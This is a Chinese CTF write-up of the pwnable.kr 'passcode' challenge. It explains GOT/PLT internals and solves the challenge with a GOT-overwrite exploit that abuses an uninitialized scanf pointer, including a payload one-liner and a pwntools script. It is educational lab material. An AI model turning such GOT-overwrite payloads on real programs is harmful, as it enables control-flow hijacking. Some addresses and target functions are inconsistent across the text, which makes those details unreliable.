前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >二进制学习系列-栈溢出之Passcode详解

二进制学习系列-栈溢出之Passcode详解

作者头像
安恒网络空间安全讲武堂
发布2018-10-25 10:17:05
1K0
发布2018-10-25 10:17:05
举报
文章被收录于专栏:安恒网络空间安全讲武堂

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)

原理:简单的GOT溢出攻击,scanf没有加上'&'

知识点:PLT,GOT表的了解

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld


PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.


GOT覆写技术:

原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

上述来源于:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5


简单来说,就是每个函数需要调用的时候先是从PLT表之中去寻找该函数入口地址的指针,调用一个函数,控制权将由PLT传递。然后从GOT表中去寻找该函数的地址,GOT表中有相应各个函数的地址,由于PLT表是只读的,但是GOT表是可读的

PLT —> 函数地址指针 ,GOT —> 函数地址。

题目源码:

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

仔细查看之后发现main函数中没有什么可以利用的,关键点在于login()函数中的scanf中,没有加'&'取地址符号。

如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址。 在 passcode1 前没有加取地址符号 &,而由于 passcode 1没有初始化,导致这个输入操作会将数据写入 栈中 passcode1 未被初始化时存放的数据指向的地址。

所以我们可以利用这里来进行GOT表覆写攻击。

测试偏移量:

方法1: 查看name地址和passcode1地址,两地址相减(此题中welcome函数和login函数共用同一个ebp)

方法2:welcome函数调用时先输入100个'a',再查看执行到passcode1的scanf前中断查看栈中的情况,可以看出,welcome 函数中输入的最后 4 字节占据了此时局部变量 passcode1 在栈中的位置。所以在执行 scanf("%d", passcode1); 时会像这里指向的不存在的 0x61616161 处写内容,故而报错。

造成这个偏移量的原因有两点:

  • 在 welcome 函数返回后这里进行了堆栈平衡,然而没有清空栈中的内容,login 函数和 welcome 函数又相当于是共享了同一个栈区域;
  • passcode1 没有初始化,导致passcode1 在栈中单元里存放的仍是之前栈帧遗留下来的内容。
覆写GOT表:

这里可以选用scanf函数之后的各个函数来进行覆写,我们选用printf。

1.查找system指令的地址

passcode@ubuntu:~$ objdump -d passcode

可以看到system函数地址为0x080485ea。

2.查看printf在GOT表中的地址

  1. readelf -r target_elf
  2. objdump -R target_elf

得到printf 在 GOT 中地址为 0x0804a000。

构造PalyLoad:

因为scanf的时候这里用的是%d所以要把system的地址转换成十进制

所以:

payload = ‘a’*96 +‘\x00\xa0\x04\x08’+’\n’+’134514147\n’

1.直接Python运行(Python大法好)

python -c 'print "a"*96 + "\x00\xa0\x04\x08" + "134514147\n"' | ./passcode

2.编写exp

代码语言:javascript
复制
from pwn import *

target = process('/home/passcode/passcode')

fflush_got = 0x0804a004

system_addr = 0x80485e3

payload = "A" * 96 + p32(fflush_got) + str(system_addr)

target.send(payload)

target.interactive()

3.结果

4.原理流程

welcome 中 scanf 函数被调用 –> 输入构造好的字符串,其中最后 4 字节为要覆写的保存有目标函数指令地址的内存单元在 GOT 中的地址 –> login 中的 scanf函数被调用 –> 覆写该位置,即目标函数指令地址被改写,执行该函数时会去到改写后的位置执行。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-09-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • GOT覆写技术:
  • 题目源码:
    • 测试偏移量:
      • 覆写GOT表:
        • 构造PalyLoad:
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档